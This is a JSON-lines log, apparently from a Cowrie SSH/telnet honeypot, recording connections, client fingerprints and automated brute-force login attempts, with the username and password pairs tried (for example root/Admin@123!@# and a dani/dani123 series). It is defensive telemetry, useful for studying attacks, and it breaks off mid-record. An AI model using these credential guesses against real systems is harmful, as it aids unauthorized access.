{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:30:49.104357Z","src_ip":"103.82.20.28","session":"3d7fc808c74f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nfbcbz","message":"login attempt [root/nfbcbz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:30:49.932976Z","src_ip":"103.82.20.28","session":"3d7fc808c74f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:30:51.210855Z","src_ip":"103.82.20.28","session":"3d7fc808c74f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38058,"dst_ip":"159.203.135.109","dst_port":23,"session":"d74b79a39941","protocol":"telnet","message":"New connection: 135.148.14.151:38058 (159.203.135.109:23) [session: d74b79a39941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:30:51.822704Z"}
{"eventid":"cowrie.session.closed","duration":31.455642700195312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:30:59.536784Z","src_ip":"135.148.14.151","session":"f6ea74cb4df1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.30.167","src_port":51052,"dst_ip":"159.203.135.109","dst_port":23,"session":"08af129872e6","protocol":"telnet","message":"New connection: 132.148.30.167:51052 (159.203.135.109:23) [session: 08af129872e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:31:18.919877Z"}
{"eventid":"cowrie.session.closed","duration":37.59867763519287,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:31:19.018970Z","src_ip":"135.148.14.151","session":"4253b215d865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.67369079589844,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:31:31.496279Z","src_ip":"135.148.14.151","session":"d74b79a39941","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.04229021072388,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:31:51.962022Z","src_ip":"132.148.30.167","session":"08af129872e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60192,"dst_ip":"159.203.135.109","dst_port":23,"session":"d05c085d98dc","protocol":"telnet","message":"New connection: 135.148.14.151:60192 (159.203.135.109:23) [session: d05c085d98dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:31:52.020872Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":62136,"dst_ip":"159.203.135.109","dst_port":22,"session":"a90a2b9c136f","protocol":"ssh","message":"New connection: 213.209.159.56:62136 (159.203.135.109:22) [session: a90a2b9c136f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:31:59.440432Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39356,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b2e572cbb9f","protocol":"telnet","message":"New connection: 135.148.14.151:39356 (159.203.135.109:23) [session: 9b2e572cbb9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:02.396800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:02.484344Z","src_ip":"213.209.159.56","session":"a90a2b9c136f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:02.564841Z","src_ip":"213.209.159.56","session":"a90a2b9c136f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:02.974074Z","src_ip":"213.209.159.56","session":"a90a2b9c136f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani1","message":"login attempt [dani/dani1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:04.061383Z","src_ip":"213.209.159.56","session":"a90a2b9c136f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani123","message":"login attempt [dani/dani123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:05.150115Z","src_ip":"213.209.159.56","session":"a90a2b9c136f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani1234","message":"login attempt [dani/dani1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:06.247885Z","src_ip":"213.209.159.56","session":"a90a2b9c136f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani12345","message":"login attempt [dani/dani12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:07.342459Z","src_ip":"213.209.159.56","session":"a90a2b9c136f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:08.431128Z","src_ip":"213.209.159.56","session":"a90a2b9c136f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.48968458175659,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:26.510432Z","src_ip":"135.148.14.151","session":"d05c085d98dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.227.125.15","src_port":59458,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfeb0a67ab5d","protocol":"ssh","message":"New connection: 212.227.125.15:59458 (159.203.135.109:22) [session: cfeb0a67ab5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:27.274155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:27.280713Z","src_ip":"212.227.125.15","session":"cfeb0a67ab5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:27.361505Z","src_ip":"212.227.125.15","session":"cfeb0a67ab5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123!@#","message":"login attempt [root/Admin@123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:27.714727Z","src_ip":"212.227.125.15","session":"cfeb0a67ab5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:28.798299Z","src_ip":"212.227.125.15","session":"cfeb0a67ab5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.253.153.83","src_port":52810,"dst_ip":"159.203.135.109","dst_port":22,"session":"f068c1da39a0","protocol":"ssh","message":"New connection: 47.253.153.83:52810 (159.203.135.109:22) [session: f068c1da39a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:38.892852Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:38.924969Z","src_ip":"47.253.153.83","session":"f068c1da39a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.40352177619934,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:40.800241Z","src_ip":"135.148.14.151","session":"9b2e572cbb9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57784,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b0ac3940a0a","protocol":"telnet","message":"New connection: 135.148.14.151:57784 (159.203.135.109:23) [session: 3b0ac3940a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:32:46.722760Z"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.134.232","src_port":37534,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e20df6f9cde","protocol":"telnet","message":"New connection: 71.6.134.232:37534 (159.203.135.109:23) [session: 5e20df6f9cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:33:06.669996Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":58816,"dst_ip":"159.203.135.109","dst_port":22,"session":"53e12e511723","protocol":"ssh","message":"New connection: 109.172.54.111:58816 (159.203.135.109:22) [session: 53e12e511723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:33:15.454863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:33:15.459923Z","src_ip":"109.172.54.111","session":"53e12e511723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:33:15.555853Z","src_ip":"109.172.54.111","session":"53e12e511723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"911yana777","message":"login attempt [root/911yana777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:33:15.848914Z","src_ip":"109.172.54.111","session":"53e12e511723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:33:16.947790Z","src_ip":"109.172.54.111","session":"53e12e511723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.93075942993164,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:33:21.600610Z","src_ip":"71.6.134.232","session":"5e20df6f9cde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.55173301696777,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:33:26.274362Z","src_ip":"135.148.14.151","session":"3b0ac3940a0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46666,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2b69f9cd95d","protocol":"telnet","message":"New connection: 135.148.14.151:46666 (159.203.135.109:23) [session: f2b69f9cd95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:33:26.860053Z"}
{"eventid":"cowrie.session.closed","duration":33.1176917552948,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:33:59.977682Z","src_ip":"135.148.14.151","session":"f2b69f9cd95d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33530,"dst_ip":"159.203.135.109","dst_port":23,"session":"9567eb65e759","protocol":"telnet","message":"New connection: 135.148.14.151:33530 (159.203.135.109:23) [session: 9567eb65e759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:34:02.986506Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44890,"dst_ip":"159.203.135.109","dst_port":23,"session":"66313f96d3c6","protocol":"telnet","message":"New connection: 135.148.14.151:44890 (159.203.135.109:23) [session: 66313f96d3c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:34:32.658163Z"}
{"eventid":"cowrie.session.closed","duration":33.14040994644165,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:34:36.126806Z","src_ip":"135.148.14.151","session":"9567eb65e759","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07625937461853,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:35:05.734189Z","src_ip":"135.148.14.151","session":"66313f96d3c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38636,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ca769ffcb18","protocol":"telnet","message":"New connection: 135.148.14.151:38636 (159.203.135.109:23) [session: 4ca769ffcb18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:35:15.849396Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.227.125.15","src_port":42396,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9bd1c410bff","protocol":"ssh","message":"New connection: 212.227.125.15:42396 (159.203.135.109:22) [session: a9bd1c410bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:35:15.904869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:35:15.916492Z","src_ip":"212.227.125.15","session":"a9bd1c410bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:35:15.997373Z","src_ip":"212.227.125.15","session":"a9bd1c410bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fjbdfdjkdsfs541544","message":"login attempt [admin/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:35:16.351027Z","src_ip":"212.227.125.15","session":"a9bd1c410bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:35:17.436115Z","src_ip":"212.227.125.15","session":"a9bd1c410bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38856,"dst_ip":"159.203.135.109","dst_port":23,"session":"77c20ebde6b8","protocol":"telnet","message":"New connection: 135.148.14.151:38856 (159.203.135.109:23) [session: 77c20ebde6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:35:18.273514Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52038,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c502f88f71c","protocol":"telnet","message":"New connection: 135.148.14.151:52038 (159.203.135.109:23) [session: 6c502f88f71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:35:45.741573Z"}
{"eventid":"cowrie.session.closed","duration":32.41093349456787,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:35:50.684333Z","src_ip":"135.148.14.151","session":"77c20ebde6b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.98234701156616,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:35:51.831547Z","src_ip":"135.148.14.151","session":"4ca769ffcb18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":39330,"dst_ip":"159.203.135.109","dst_port":22,"session":"826a5124c3ca","protocol":"ssh","message":"New connection: 147.45.199.80:39330 (159.203.135.109:22) [session: 826a5124c3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:03.056409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:03.068532Z","src_ip":"147.45.199.80","session":"826a5124c3ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ss